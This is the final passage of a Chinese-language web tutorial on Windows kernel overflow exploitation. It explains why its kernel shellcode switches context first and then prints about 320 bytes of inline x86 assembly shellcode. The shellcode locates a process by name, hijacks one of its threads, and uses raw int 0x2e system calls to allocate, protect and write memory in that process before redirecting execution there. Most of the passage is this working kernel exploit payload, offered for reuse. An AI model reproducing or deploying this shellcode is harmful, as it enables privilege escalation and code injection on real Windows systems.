<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话调度后会返回到错误的回址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的,换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下:</FONT></P>
<P><FONT face=Verdana>__declspec(naked)JustTest2() <BR>{&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; __asm<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call go1<BR>go1:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, 0xffdff80c<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [ebp-0x2b0]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [ebx+0x44]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor eax, eax</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x73727363<BR>FindProcess:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, esp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea esi, dword ptr [ebx+0x1fc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repe cmpsb<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jecxz go2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [ebx+0xa0]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub ebx, 0xa0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp FindProcess<BR>go2:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp], eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov esi, dword ptr [esp+0x33c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [esi+0x2d], al</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea esi, dword ptr [ebx+0x50]<BR>FindThread:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov esi, dword ptr [esi]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test byte ptr [esi-0x86], 0x1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz go3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp FindThread<BR>go3:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edx, dword ptr [ebx+0x18]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub esi, 0x1a4</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, 0xffdff000<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ecx, dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, dword ptr [ebx+0x124]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebx+0x128], ebp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc byte ptr [ebp+0x2d]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, dword ptr [ebp+0x28]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add dword ptr [edi+0x8], 0x2d<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, dword ptr [edi-0x8]<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add ebp, 0x4<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, dword ptr [ecx]<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; dword ptr [edi], ebp<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp+4], edi<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ecx], ebp</FONT></P><FONT face=Verdana>
<P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebx+0x124], esi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov cl, byte ptr [esi+0x2c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebx+0x50], cl<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, dword ptr [esi+0x5c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, dword ptr [esi+0x60]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [edi], ebp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp+0x4], edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [esi+0x1c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop dword ptr [ebx+0x8]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov esp, dword ptr [esi+0x28]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ecx, dword ptr [esi+0x20]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebx+0x18], ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, dword ptr [ebx+0x3c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov word ptr [ebp+0x3a], cx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr ecx, 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebp+0x3c], cl<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr ecx, 0x8<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebp+0x3f], cl<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, dword ptr [ebx+0x40]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebp+0x1c], edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov cr3, edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, esp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub esp, 0x40<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push esi</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x40]<BR>ZeroStack:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stosd<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loop ZeroStack<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebp-0x38], 0x18<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [esi+0x1e0]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x38]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x8]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x1f0fff<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0x6a<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebp-0x3], 0x2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x40<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x1000<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x4]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0x8]</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x18</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ebx, dword ptr [ebp-0x4]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ebx, dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0x8]</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0x59<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, dword ptr [ebp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edx, dword ptr [edx+0x128]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [edx+0x68]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop dword ptr [edi+0x1a0]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop dword ptr [edx+0x68]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add edi, 0x19a</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x120<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0x8]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0xf0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [esp+0x14]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x5c<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr [ebx], ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; popfd<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<BR>&nbsp;&nbsp;&nbsp; }<BR>}&nbsp;&nbsp;&nbsp; </P>
<P>//后的代码是用于第二种DPC恢复的。</P>
<P>后记:<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 内核溢出是一个全新的领域,里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉,如果能给大家有所帮助,也就算达到目的了。很多地方都有很多不足,尤其是非安全返回法,还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方,欢迎向我提出。<BR></FONT></P></p>
                  <p><img src="http://www.koyee.com/images/dgg.gif" height="70" width="587"> </p></td>
              </tr>
              <tr>
                <td width="628" bordercolor="0" class="font1"><p>
                  <hr size="1" color="#0a778b" width="100%">
				  <table><tr><td width="269" align="center">上一篇:  <a href=../78/2005320142851.htm title=简单证书认证协议>简单证书认证协议</a>  </td>
				  <td width="285" align="center">下一篇:  <a href=../90/200542823048.htm title=gew>gew</a></td>
				  </tr></table>

<hr size="1" color="#0a778b" width="100%">
<div align="right">  <a href="javascript:window.print()"><img src="../../images/printer.gif" width="16" height="14" border="0" align="absmiddle">打印本页</a> |  <a href="javascript:window.close()"><img src="../../images/close.gif" width="14" height="14" border="0" align="absmiddle">关闭窗口</a> </div>
<p></p></td>
              </tr>
    </table></td>
  </tr>
</table>
<TABLE height=62 cellSpacing=0 cellPadding=0 width="800" 
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            border=0>
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              <TR>
                <TD><div align="center" class="style4">Copyright @ 2004-2008&nbsp; http://www.koyee.com 可以网络在线版权所有<br>
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 </TR></TBODY></TABLE>
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